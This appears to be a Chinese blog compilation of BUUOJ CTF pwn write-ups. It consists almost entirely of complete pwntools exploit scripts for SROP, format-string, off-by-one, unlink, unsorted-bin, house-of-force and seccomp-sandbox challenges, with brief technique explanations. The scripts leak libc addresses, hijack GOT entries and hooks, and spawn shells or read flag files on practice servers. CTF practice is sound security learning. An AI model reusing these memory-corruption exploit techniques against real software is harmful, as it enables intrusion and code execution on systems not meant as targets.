BUUOJ PWN EXERCISE
# rootersctf_2019_srop(srop)
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *sh = process("rootersctf_2019_srop" ) context.update(arch="amd64" , os="linux" , endian="little" ) data_addr = 0x402000 syscall_leave_ret = 0x401033 pop_rax_syscall_leave_ret = 0x401032 syscall_addr = 0x401046 frame = SigreturnFrame(kernel="amd64" ) frame.rax = 0 frame.rdi = 0 frame.rsi = data_addr frame.rdx = 0x400 frame.rip = syscall_leave_ret frame.rbp = data_addr + 0x20 layout = [0x88 * "a" , pop_rax_syscall_leave_ret, 0xf , bytes (frame)] sh.sendlineafter("Hey, can i get some feedback for the CTF?\n" , flat(layout)) layout = ["/bin/sh\x00" , "a" * 0x20 , pop_rax_syscall_leave_ret, 0xf ] frame = SigreturnFrame(kernel="amd64" ) frame.rax = 59 frame.rdi = data_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr layout.append(bytes (frame)) sh.sendline(flat(layout)) sh.interactive()
# 参考文章
https://blog.csdn.net/weixin_46521144/article/details/120714498
https://www.cnblogs.com/LynneHuan/p/14723605.html#exp
# qctf_2018_stack2(数组越界)
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * context(log_level = 'debug' ) sh = remote("node3.buuoj.cn" ,"28924" ) sh.sendlineafter('have:\n' ,'0' ) sh.sendlineafter('5. exit\n' ,'3' ) sh.sendlineafter('change:\n' ,str (116 + 0x10 )) sh.sendlineafter('number:\n' ,str (0x9b )) sh.sendlineafter('5. exit\n' ,'3' ) sh.sendlineafter('change:\n' ,str (117 + 0x10 )) sh.sendlineafter('number:\n' ,str (0x85 )) sh.sendlineafter('5. exit\n' ,'3' ) sh.sendlineafter('change:\n' ,str (118 + 0x10 )) sh.sendlineafter('number:\n' ,str (0x04 )) sh.sendlineafter('5. exit\n' ,'3' ) sh.sendlineafter('change:\n' ,str (119 + 0x10 )) sh.sendlineafter('number:\n' ,str (0x08 )) sh.sendlineafter('5. exit\n' ,'5' ) sh.interactive()
# hfctf_2020_marksman(exit_hook)
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *import functoolsLOG_ADDR = lambda x, y: log.success('{} ===> {}' .format (x, hex (y))) int16 = functools.partial(int , base=16 ) sh = remote('node4.buuoj.cn' ,27982 ) sh.recvuntil("I placed the target near: " ) msg = sh.recvline() puts_addr = int16(msg[:-1 ].decode()) LOG_ADDR("puts_addr" , puts_addr) libc_base_addr = puts_addr - 0x809c0 LOG_ADDR("libc_base_addr" , libc_base_addr) one_gadget1 = libc_base_addr + 0x10a387 __rtld_lock_unlock_recursive_offset = 0x81df60 target_addr = libc_base_addr + __rtld_lock_unlock_recursive_offset sh.sendlineafter("shoot!shoot!\n" , str (target_addr)) input_gadget = one_gadget1 for _ in range (3 ): sh.sendlineafter("biang!\n" , chr (input_gadget & 0xff )) input_gadget = input_gadget >> 8 sh.interactive()
# 参考文章
Python 中的 functools
# picoctf_2018_echooo (32 位格式化字符串)
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *p=remote('node4.buuoj.cn' ,28387 ) offset=11 flag='' for i in range (27 ,27 +11 ): payload='%{}$p' .format (str (i)) p.sendlineafter('> ' ,payload) aim=unhex(p.recvuntil('\n' ,drop=True ).replace('0x' ,'' )) flag+=aim[::-1 ] print flagp.interactive()
# npuctf_2020_level2 (args 上的格式化字符串漏洞)
# 程序分析
# 漏洞利用
漏洞点为 printf 格式化字符串部分,但 buf 在 bss 段不在栈上因而不能通过填地址来写入,需要借助地址链分批次写入
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *import functoolsLOG_ADDR = lambda x, y: log.success('{} ===> {}' .format (x, hex (y))) int16 = functools.partial(int , base=16 ) context.update(arch='amd64' , os='linux' , endian='little' ) sh = remote('node4.buuoj.cn' ,27290 ) sh.sendline("%9$p,%24$p" ) msg = sh.recvline() stack_addr, libc_addr = msg[:-1 ].split(b',' ) stack_addr = int16(stack_addr.decode()) libc_addr = int16(libc_addr.decode()) LOG_ADDR('stack_addr' , stack_addr) LOG_ADDR('libc_addr' , libc_addr) stack_ret_addr = stack_addr - 0xe0 libc_base_addr = libc_addr - 0x3e7638 LOG_ADDR('stack_ret_addr' , stack_ret_addr) LOG_ADDR('libc_base_addr' , libc_base_addr) gadgets = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = libc_base_addr + gadgets[0 ] LOG_ADDR('one_gadget' , one_gadget) sleep(1 ) payload = "%{}c%9$hn" .format ((stack_ret_addr & 0xffff )) sh.sendline(payload) sh.recv() for _ in range (2 ): sh.sendline('a' * 0x30 ) sh.recv() sleep(2 ) payload = "%{}c%35$hn" .format ((one_gadget & 0xffff )) + 'a' * 0x10 sh.sendline(payload) sh.recv() sleep(2 ) for _ in range (2 ): sh.sendline('a' * 0x30 ) sh.recv() sleep(2 ) payload = "%{}c%9$hhn" .format ((stack_ret_addr & 0xff ) + 2 ) sh.sendline(payload) sh.recv() sleep(2 ) for _ in range (2 ): sh.sendline('a' * 0x30 ) sh.recv() sleep(2 ) payload = "%{}c%35$hhn" .format (((one_gadget >> 16 ) & 0xff )) + 'a' * 0x10 sh.sendline(payload) sh.recv() sleep(2 ) for _ in range (2 ): sh.sendline('a' * 0x30 ) sh.recv() sleep(2 ) sh.send("6" * 8 + '\x00' * 8 ) sleep(3 ) sh.sendline("cat flag" ) sh.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *p=remote('node4.buuoj.cn' ,27290 ) libc=ELF('./libc-2.27.so' ) context.log_level='debug' payload1='%7$p#%9$p@' p.sendline(payload1) p.recvuntil('0x' ) libc_base=(int (p.recvuntil("#" ,True ),16 ) - 231 )-libc.symbols['__libc_start_main' ] p.recvuntil('0x' ) addr_stack=int (p.recvuntil("@" ,True ),16 )-0xe0 one_gadgets = [0x4f2c5 ,0x4f322 ,0x10a38c ] one_gadget=one_gadgets[1 ]+libc_base stackbase = addr_stack & 0xffff p.sendlineafter('\n' , '%' + str (stackbase) + 'c%9$hn\x00' ) p.sendlineafter('\x20\x20\xb4' , '%' +str (one_gadget&0xff )+'c%35$hhn\x00' ) p.sendlineafter('\x20\x20\xb4' , '%' +str (stackbase+1 )+'c%9$hhn\x00' ) p.sendlineafter('\x20\x20\xb4' , '%' +str ((one_gadget>>8 )&0xffff )+'c%35$hhn\x00' ) p.sendlineafter('\x20\x20\xb4' , '%' +str (stackbase+2 )+'c%9$hhn\x00' ) p.sendlineafter('\x20\x20\xb4' , '%' +str ((one_gadget>>16 )&0xff )+'c%35$hhn\x00' ) p.sendline('66666666\x00' ) print (hex (libc.symbols['__libc_start_main' ]))p.interactive()
# asis2016_b00ks(off-by-null)
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *r = remote("node4.buuoj.cn" , 28085 ) context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) DEBUG = 0 if DEBUG: gdb.attach(r, ''' b *$rebase(0x1245) x/20gx $rebase(0x202040) c ''' )elf = ELF("./b00ks" ) libc = ELF('./libc-2.23.so' ) one_gadget_16 = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] menu = "> " def add (size1, content1, size2, content2 ): r.recvuntil(menu) r.sendline('1' ) r.recvuntil("Enter book name size: " ) r.sendline(str (size1)) r.recvuntil("Enter book name (Max 32 chars): " ) r.send(content1) r.recvuntil("Enter book description size: " ) r.sendline(str (size2)) r.recvuntil("Enter book description: " ) r.send(content2) def delete (index ): r.recvuntil(menu) r.sendline('2' ) r.recvuntil("Enter the book id you want to delete: " ) r.sendline(str (index)) def edit (index, content ): r.recvuntil(menu) r.sendline('3' ) r.recvuntil("Enter the book id you want to edit: " ) r.sendline(str (index)) r.recvuntil("Enter new book description: " ) r.send(content) def show (): r.recvuntil(menu) r.sendline('4' ) def edit_name (name ): r.recvuntil(menu) r.sendline('5' ) r.recvuntil("Enter author name: " ) r.send(name) r.recvuntil("Enter author name: " ) r.send('a' *0x20 +'\n' ) add(0x90 , 'aa\n' , 0x90 , 'aa\n' ) add(0x21000 , 'aa\n' , 0x21000 , 'aa\n' ) show() r.recvuntil('a' *0x20 ) heap = u64(r.recvuntil('\n' ).strip().ljust(8 , '\x00' )) - 0x160 success("heap:" +hex (heap)) payload = 'a' * 0x40 + p64(1 ) + p64(heap+0x198 )*2 + p64(0xffff ) + '\n' edit(1 , payload) edit_name('a' *0x20 + '\n' ) show() r.recvuntil("Name: " ) offset = 0x7f4875e6a010 - 0x7f48758a4000 libc.address = u64(r.recvuntil('\x7f' ).ljust(8 , '\x00' )) - offset success("libc:" +hex (libc.address)) free_hook = libc.sym['__free_hook' ] system = libc.sym['system' ] bin_sh = libc.search("/bin/sh" ).next () edit(1 , p64(bin_sh) + p64(free_hook) + '\n' ) edit(2 , p64(system)+'\n' ) delete(2 ) r.interactive()
# babyfengshui_33c3_2016
# 程序分析
checksec 后可以看到 relro 保护没开,可以劫持函数 got 表
由于是 *(&ptr+a1)-4
是靠偏移来确定大小的,所以也就只有在 name 堆块与 text 堆块在物理地址相邻时才有作用,因此我们可以通过 delete 函数删除一个 user 便可以使程序连续 free 掉两个堆块,从而使两个 0x88 的堆块合并成为一个 0x110
的堆块
进而我们再次使用 add 添加数据的时候,第一次输入的 name 设置大小为 0x100 就可以使 name 与 text 堆块物理不相邻,这样一来我们的 text 字段便可输入任意大小的数据
接下来就可以对能够造成溢出的 name 堆块填充大量的数据覆盖到下一个 user 的 name 字段中,来控制下一个 user 中的 text 地址指向
最后便可以控制该 text 指向某个函数的 got 表地址,即可劫持函数的 got 表指向 system 函数。
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *from LibcSearcher import LibcSearchercontext.log_level='debug' p=process('./babyfengshui' ) elf=ELF('./babyfengshui' ) free_got=elf.got['free' ] def add (size,name,length,text ): p.recvuntil("Action: " ) p.sendline("0" ) p.sendlineafter("size of description: " ,str (size)) p.sendlineafter("name: " ,name) p.recvuntil("text length:" ) p.sendline(str (length)) p.recvuntil("text:" ) p.sendline(text) def delete (index ): p.recvuntil("Action: " ) p.sendline("1" ) p.recvuntil("index: " ) p.sendline(str (index)) def show (index ): p.recvuntil("Action: " ) p.sendline("2" ) p.recvuntil("index: " ) p.sendline(str (index)) def update (index,length,text ): p.recvuntil("Action: " ) p.sendline("3" ) p.recvuntil("index: " ) p.sendline(str (index)) p.recvuntil("text length: " ) p.sendline(str (length)) p.recvuntil("text: " ) p.sendline(text) add(0x80 ,"nam1" ,0x80 ,"aaaa" ) add(0x80 ,"nam2" ,0x80 ,"bbbb" ) add(0x80 ,"nam3" ,0x80 ,"/bin/sh\x00" ) delete(0 ) add(0x100 ,'nam1' ,0x100 ,"cccc" ) payload='a' *0x108 +'a' *0x8 +'a' *0x80 +'a' *0x8 +p32(free_got) update(3 ,0x200 ,payload) show(1 ) p.recvuntil("description: " ) free_addr=u32(p.recv(4 )) libc=LibcSearcher("free" ,free_addr) libc_base=free_addr-libc.dump("free" ) system_addr=libc_base+libc.dump("system" ) update(1 ,0x80 ,p32(system_addr)) delete(2 ) p.interactive()
# gyctf_2020_borrowstack (栈迁移)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from LibcSearcher import *r=remote('node3.buuoj.cn' ,29385 ) bank=0x0601080 leave=0x400699 puts_plt=0x04004E0 puts_got=0x0601018 pop_rdi=0x400703 main=0x0400626 ret=0x4004c9 r.recvuntil('u want' ) payload='a' *0x60 +p64(bank)+p64(leave) r.send(payload) r.recvuntil('now!' ) payload=p64(ret)*20 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) r.send(payload) r.recvline() puts_addr=u64(r.recv(6 ).ljust(8 ,'\x00' )) print hex (puts_addr)libc=LibcSearcher('puts' ,puts_addr) libc_base=puts_addr-libc.dump('puts' ) one_gadget=libc_base+0x4526a payload='a' *(0x60 +8 )+p64(one_gadget) r.send(payload) r.interactive()
# hitcontraining_magicheap(unsorted bin attack)
Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
初始状态时 unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。
执行 free 由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中。
修改 p [1] 经过修改之后,原来在 unsorted bin 中的 p 的 bk 指针就会指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处。
所以核心在于通过修改使堆块的 fd 指针指向利用的地址 - 16
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *p=remote('node4.buuoj.cn' ,26349 ) def CreateHeap (size,content ): p.recvuntil(':' ) p.sendline('1' ) p.recvuntil(':' ) p.sendline(str (size)) p.recvuntil(':' ) p.sendline(content) def EditHeap (idx,size,content ): p.recvuntil(':' ) p.sendline('2' ) p.recvuntil(':' ) p.sendline(str (idx)) p.recvuntil(':' ) p.sendline(str (size)) p.recvuntil(':' ) p.sendline(content) def DeleteHeap (idx ): p.recvuntil(':' ) p.sendline('3' ) p.recvuntil(':' ) p.sendline(str (idx)) CreateHeap(0x30 ,'aaaa' ) CreateHeap(0x80 ,'bbbb' ) CreateHeap(0x10 ,'cccc' ) DeleteHeap(1 ) magic = 0x6020A0 EditHeap(0 ,0x50 ,0x30 * "a" + p64(0 )+p64(0x91 )+p64(0 )+p64(magic-0x10 )) CreateHeap(0x80 ,'dddd' ) p.sendlineafter(':' ,'4869' ) p.interactive()
# roarctf_2019_easy_pwn(off-by-one)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *r=remote('node4.buuoj.cn' ,26307 ) libc=ELF('./libc-2.23.so' ) context.log_level="debug" def add (size ): r.recvuntil('choice: ' ) r.sendline('1' ) r.recvuntil('size:' ) r.sendline(str (size)) def edit (index,size,data ): r.recvuntil('choice: ' ) r.sendline('2' ) r.recvuntil('index:' ) r.sendline(str (index)) r.recvuntil('size:' ) r.sendline(str (size)) r.recvuntil('content:' ) r.send(data) def delete (index ): r.recvuntil('choice: ' ) r.sendline('3' ) r.recvuntil('index:' ) r.sendline(str (index)) def show (index ): r.recvuntil('choice: ' ) r.sendline('4' ) r.recvuntil('index:' ) r.sendline(str (index)) malloc_hook=libc.symbols['__malloc_hook' ] realloc_hook=libc.symbols['realloc' ] print hex (malloc_hook)print hex (realloc_hook)add(0x18 ) add(0x10 ) add(0x90 ) add(0x10 ) edit(0 ,34 ,'a' *0x10 +p64(0x20 )+p8(0xa1 )) edit(2 ,0x80 ,p64(0 )*14 +p64(0xa0 )+p64(0x21 )) delete(1 ) add(0x90 ) edit(1 ,0x20 ,p64(0 )*2 +p64(0 )+p64(0xa1 )) delete(2 ) show(1 ) r.recvuntil("content: " ) r.recv(0x20 ) libc_base=u64(r.recv(6 ).ljust(8 ,"\x00" ))-0x3c4b78 print "libc_base:" +hex (libc_base)add(0x80 ) edit(1 ,0x90 ,p64(0 )*2 +p64(0 )+p64(0x71 )+p64(0 )*12 +p64(0x70 )+p64(0x21 )) delete(2 ) edit(1 ,0x30 ,p64(0 )*2 +p64(0 )+p64(0x71 )+p64(malloc_hook+libc_base-0x23 )*2 ) add(0x60 ) add(0x60 ) one_gadgets=[0x45216 ,0x4526a ,0xf1147 ,0xf02a4 ] edit(4 ,27 ,'a' *11 +p64(libc_base+one_gadgets[2 ])+p64(libc_base+realloc_hook+4 )) add(0x60 ) r.interactive()
# hitcontraining_heapcreator(off-by-one)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from LibcSearcher import LibcSearchersh=remote("node4.buuoj.cn" ,25982 ) elf=ELF('./heapcreator' ) def create (length,value ): sh.recvuntil("Your choice :" ) sh.sendline("1" ) sh.recvuntil("Size of Heap : " ) sh.sendline(str (int (length))) sh.recvuntil("Content of heap:" ) sh.sendline(value) def edit (index,value ): sh.recvuntil("Your choice :" ) sh.sendline("2" ) sh.recvuntil("Index :" ) sh.sendline(str (int (index))) sh.recvuntil("Content of heap : " ) sh.sendline(value) def show (index ): sh.recvuntil("Your choice :" ) sh.sendline("3" ) sh.recvuntil("Index :" ) sh.sendline(str (int (index))) def delete (index ): sh.recvuntil('Your choice :' ) sh.sendline('4' ) sh.recvuntil('Index :' ) sh.sendline(str (int (index))) create(0x18 ,'aaaa' ) create(0x10 ,'bbbb' ) create(0x10 ,'cccc' ) create(0x10 ,'/bin/sh' ) edit(0 ,'a' *0x18 +'\x81' ) delete(1 ) size = '\x08' .ljust(8 ,'\x00' ) payload = 'd' *0x40 + size + p64(elf.got['free' ]) create(0x70 ,payload) show(2 ) sh.recvuntil('Content : ' ) free_addr = u64(sh.recvuntil('Done' )[:-5 ].ljust(8 ,'\x00' )) libc=LibcSearcher("free" ,free_addr) system_addr=free_addr+libc.dump("system" )-libc.dump("free" ) edit(2 ,p64(system_addr)) delete(3 ) sh.interactive()
https://blog.csdn.net/weixin_45677731/article/details/107914807
# hitcon2014_stkof(unlink)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *sh=process("./stkof" ) context.log_level='debug' elf=ELF('./stkof' ) libc=ELF('./libc-2.23.so' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] free=elf.got['free' ] ptr=0x602150 def alloc (size ): sh.sendline('1' ) sh.sendline(str (size)) sh.recvuntil('OK\n' ) def edit (idx, size, content ): sh.sendline('2' ) sh.sendline(str (idx)) sh.sendline(str (size)) sh.send(content) sh.recvuntil('OK\n' ) def delete (idx ): sh.sendline('3' ) sh.sendline(str (idx)) alloc(0x100 ) alloc(0x20 ) alloc(0x80 ) payload=p64(0 )+p64(0x21 )+p64(ptr-0x18 )+p64(ptr-0x10 ) payload+=p64(0x20 )+p64(0x90 ) edit(2 ,len (payload),payload) delete(3 ) sh.recvuntil('OK' ) payload=p64(0 )+p64(0 )+p64(free)+p64(ptr-0x18 )+p64(puts_got) edit(2 ,len (payload),payload) edit(1 ,8 ,p64(puts_plt)) delete(3 ) base = u64(sh.recv(6 ).ljust(8 ,'\x00' ))-libc.symbols['puts' ] sh.recvuntil('OK' ) system_addr=base+libc.symbols['system' ] payload=p64(0 )+p64(0 )+p64(free)+p64(ptr-0x18 )+p64(ptr+0x10 )+"/bin/sh" edit(2 ,len (payload),payload) edit(1 ,8 ,p64(system_addr)) delete(3 ) sh.interactive()
# zctf2016_note2(unlink)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *io = remote('node4.buuoj.cn' ,26179 ) elf = ELF("./note2" ) libc = ELF("./libc-2.23.so" ) def new_note (size, content ): io.recvuntil(">>" ) io.sendline("1" ) io.recvuntil(")" ) io.sendline(str (size)) io.recvuntil(":" ) io.sendline(content) def show_note (index ): io.recvuntil(">>" ) io.sendline("2" ) io.recvuntil(":" ) io.sendline(str (index)) def edit_note (index, choice, content ): io.recvuntil(">>" ) io.sendline("3" ) io.recvuntil(":" ) io.sendline(str (index)) io.recvuntil("]" ) io.sendline(str (choice)) io.recvuntil(":" ) io.sendline(content) def delete_note (index ): io.recvuntil(">>" ) io.sendline("4" ) io.recvuntil(":" ) io.sendline(str (index)) io.recvuntil(":" ) io.sendline("/bin/sh" ) io.recvuntil(":" ) io.sendline("ddd" ) ptr_0 = 0x602120 fake_fd = ptr_0 - 0x18 fake_bk = ptr_0 - 0x10 note0_content = "\x00" * 8 + p64(0xa1 ) + p64(fake_fd) + p64(fake_bk) new_note(0x80 , note0_content) new_note(0x0 , "aa" ) new_note(0x80 , "/bin/sh" ) delete_note(1 ) note1_content = "\x00" * 16 + p64(0xa0 ) + p64(0x90 ) new_note(0x0 , note1_content) delete_note(2 ) free_got = elf.got["free" ] payload = 0x18 * "a" + p64(free_got) edit_note(0 , 1 , payload) show_note(0 ) io.recvuntil("is " ) free_addr = u64(io.recv(6 ).ljust(8 , "\x00" )) libc_addr = free_addr - libc.symbols["free" ] print ("libc address: " + hex (libc_addr))system_addr = libc_addr + libc.symbols["system" ] one_gadget = libc_addr + 0xf02a4 edit_note(0 , 1 , p64(one_gadget)) io.interactive()
# wdb_2018_1st_babyheap(unlink,uaf)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *r = remote("node4.buuoj.cn" , 26136 ) context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) DEBUG = 0 if DEBUG: gdb.attach(r, ''' b *0x400CF7 x/10gx 0x602060 c ''' )elf = ELF("./wdb_2018_1st_babyheap" ) libc = ELF('./libc-2.23.so' ) one_gadget_16 = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] bss_arr = 0x602060 read_got = elf.got['read' ] menu = "Choice:" def add (index, content ): r.recvuntil(menu) r.sendline('1' ) r.recvuntil("Index:" ) r.sendline(str (index)) r.recvuntil("Content:" ) r.send(content) def delete (index ): r.recvuntil(menu) r.sendline('4' ) r.recvuntil("Index:" ) r.sendline(str (index)) def edit (index, content ): r.recvuntil(menu) r.sendline('2' ) r.recvuntil("Index:" ) r.sendline(str (index)) r.recvuntil("Content:" ) r.send(content) def show (index ): r.recvuntil(menu) r.sendline('3' ) r.recvuntil("Index:" ) r.sendline(str (index)) sleep(3 ) add(0 , (p64(0 )+p64(0x31 ))*2 ) add(1 , 'aaa\n' ) add(2 , 'aaa\n' ) add(3 , 'aaa\n' ) add(4 , '/bin/sh\n' ) delete(0 ) delete(1 ) delete(0 ) show(0 ) heap = u64(r.recvuntil('\n' ).strip().ljust(8 , '\x00' )) - 0x30 success("heap:" +hex (heap)) edit(0 , p64(heap+0x10 )+'\n' ) add(5 , p64(0 ) + p64(0x31 ) + p64(heap) + p64(bss_arr-0x10 )) payload = p64(bss_arr-0x18 ) + p64(bss_arr-0x10 ) + p64(0x20 ) + p64(0x90 ) add(6 , payload) add(7 , p64(0 ) + p64(0x21 ) + p64(bss_arr-0x18 ) + p64(bss_arr-0x10 )) delete(1 ) show(6 ) malloc_hook = u64(r.recvuntil('\x7f' ).ljust(8 , '\x00' )) - 0x58 - 0x10 libc.address = malloc_hook - libc.sym['__malloc_hook' ] success("libc;" +hex (libc.address)) system = libc.symbols['system' ] free_hook = libc.sym['__free_hook' ] edit(0 , p64(0 )*3 +p64(free_hook)) edit(0 , p64(system)+'\n' ) delete(4 ) r.interactive()
# axb_2019_fmt64(64 位格式化字符串改 got 表)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context.log_level = 'debug' io = process('axb_2019_fmt64' ) elf = ELF('./axb_2019_fmt64' ) libc = ELF('./libc-2.23.so' ) one_gadget = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] sprintf_got = elf.got['sprintf' ] payload = '%9$saaaa' payload += p64(sprintf_got) io.recvuntil("Please tell me:" ) io.sendline(payload) sprintf_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) print "sprintf_addr:" +hex (sprintf_addr)libcbase = sprintf_addr - libc.symbols['sprintf' ] one_gadget = libcbase + one_gadget[0 ] print "one_gadget:" +hex (one_gadget)payload = '' payload += '%' + str ((one_gadget % 0x10000 ) - 9 ) + 'c%12$hn' payload += '%' + str (((one_gadget >> 16 ) % 0x10000 ) - (one_gadget % 0x10000 )) + 'c%13$hn' payload = payload.ljust(0x20 ,'\x00' ) payload += p64(sprintf_got) + p64(sprintf_got + 2 ) print 'payload:' +payloadio.sendline(payload) io.interactive()
# pwnable_asm(沙箱)
# sandbox 概述
沙盒机制也就是我们常说的沙箱,英文名 sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
在 ctf 比赛中,pwn 题中的沙盒一般都会限制 execve 的系统调用,这样一来 one_gadget 和 system 调用都不好使,只能采取 open/read/write 的组合方式来读取 flag。
一般有两种函数调用方式实现沙盒机制,第一种是采用 prctl 函数调用,第二种是使用 seccomp 库函数。
使用 seccomp-tools 检查沙盒机制,可以看到先是判断了体系架构是否是 x86_64 的,然后对系统调用号进行了判断,只允许了 read/write/open/exit 四种系统调用。
# EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *import syscontext.log_level = "debug" context.arch = 'amd64' context.os = 'linux' sh = remote("node4.buuoj.cn" ,"26693" ) shellcode = shellcraft.pushstr("flag" ) shellcode += shellcraft.open ("rsp" ) shellcode += shellcraft.read('rax' , 'rsp' , 100 ) shellcode += shellcraft.write(1 , 'rsp' , 100 ) sh.sendlineafter("shellcode: " , asm(shellcode)) print sh.recvall()sh.close()
参考文章:https://blog.csdn.net/A951860555/article/details/116738676
# bctf2016_bcloud(house of force)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *from LibcSearcher import * sh = process('./bcloud' ) elf = ELF('./bcloud' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] free_got = elf.got['free' ] heap_array_addr = 0x0804B120 sh.sendafter('Input your name:' ,'a' *0x40 ) sh.recvuntil('a' *0x40 ) heap_addr = u32(sh.recv(4 )) print 'heap_addr=' ,hex (heap_addr)sh.sendafter('Org:' ,'a' *0x40 ) sh.sendlineafter('Host:' ,p32(0xFFFFFFFF )) top_chunk_addr = heap_addr + 0xD0 print 'top_chunk_addr=' ,hex (top_chunk_addr) def add (size,content ): sh.sendlineafter('option--->>' ,'1' ) sh.sendlineafter('Input the length of the note content:' ,str (size)) sh.sendafter('Input the content:' ,content) def edit (index,content ): sh.sendlineafter('option--->>' ,'3' ) sh.sendlineafter('Input the id:' ,str (index)) sh.sendafter('Input the new content:' ,content) def delete (index ): sh.sendlineafter('option--->>' ,'4' ) sh.sendlineafter('Input the id:' ,str (index)) offset = heap_array_addr - top_chunk_addr - 0x10 add(offset,'' ) add(0x18 ,'\n' ) edit(1 ,p32(0 ) + p32(free_got) + p32(puts_got) + p32(0x0804B130 ) + '/bin/sh\x00' ) edit(1 ,p32(puts_plt) + '\n' ) delete(2 ) sh.recv(1 ) puts_addr = u32(sh.recv(4 )) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) print 'libc_base=' ,hex (libc_base)print 'system_addr=' ,hex (system_addr)edit(1 ,p32(system_addr) + '\n' ) delete(3 ) sh.interactive()
参考文章
https://snappyjack.github.io/articles/2019-12/BCTF2016_bcloud
https://blog.csdn.net/csdn546229768/article/details/122725993